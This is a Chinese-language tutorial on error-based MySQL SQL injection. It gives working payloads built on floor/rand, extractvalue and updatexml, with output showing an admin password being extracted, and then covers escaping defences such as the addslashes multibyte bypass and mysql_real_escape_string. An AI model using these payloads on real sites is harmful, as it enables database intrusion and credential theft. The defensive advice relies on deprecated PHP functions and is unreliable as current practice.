1、通過floor報錯
可以通過如下一些利用代碼
| 代碼如下 |
複製代碼 |
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))); |
舉例如下:
首先進行正常查詢:
| 代碼如下 |
複製代碼 |
mysql> select * from article where id = 1; +----+-------+---------+ | id | title | content | +----+-------+---------+ | 1 | test | do it |
|
+----+-------+---------+
假如id輸入存在注入的話,可以通過如下語句進行報錯。
| 代碼如下 |
複製代碼 |
mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key' |
可以看到成功爆出了Mysql的版本,如果需要查詢其他資料,可以通過修改version()所在位置語句進行查詢。
例如我們需要查詢管理使用者名和密碼:
| 代碼如下 |
複製代碼 |
Method1: mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a); ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key' Method2: mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2))); ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key' |
2、ExtractValue
測試語句如下
| 代碼如下 |
複製代碼 |
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); |
實際測試過程
| 代碼如下 |
複製代碼 |
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));-- ERROR 1105 (HY000): XPATH syntax error: 'admin888' 3、UpdateXml |
測試語句
| 代碼如下 |
複製代碼 |
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1)) |
實際測試過程
| 代碼如下 |
複製代碼 |
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,(select pass from admin limit 1),0x5e24),1)); ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$' |
我們知道了注入原因
雖然國內很多PHP程式員仍在依靠addslashes防止SQL注入,還是建議大家加強中文防止SQL注入的檢查。addslashes的問題在於駭客可以用0xbf27來代替單引號,而addslashes只是將0xbf27修改為0xbf5c27,成為一個有效多位元組字元,其中的0xbf5c仍會被看作是單引號,所以addslashes無法成功攔截。
當然addslashes也不是毫無用處,它是用於單位元組字串的處理,多位元組字元還是用mysql_real_escape_string吧。
另外對於php手冊中get_magic_quotes_gpc的舉例:
| 代碼如下 |
複製代碼 |
if (!get_magic_quotes_gpc()) { $lastname = addslashes($_POST[‘lastname’]); } else { $lastname = $_POST[‘lastname’]; }
|
最好對magic_quotes_gpc已經開放的情況下,還是對$_POST[’lastname’]進行檢查一下。
再說下mysql_real_escape_string和mysql_escape_string這2個函數的區別:
mysql_real_escape_string 必須在(PHP 4 >= 4.3.0, PHP 5)的情況下才能使用。否則只能用 mysql_escape_string ,兩者的區別是:mysql_real_escape_string 考慮到串連的當前字元集,而mysql_escape_string 不考慮。
總結一下:
* addslashes() 是強行加;
* mysql_real_escape_string() 會判斷字元集,但是對PHP版本有要求;
* mysql_escape_string不考慮串連的當前字元集。
* 對於任何提交過來的資料我們都進行過濾,同時對於id注入我們直接使用intval( id )進行判斷過濾
關於更詳細的mysql防注入方法可參考此文章:http://www.111cn.net/database/110/32854.htm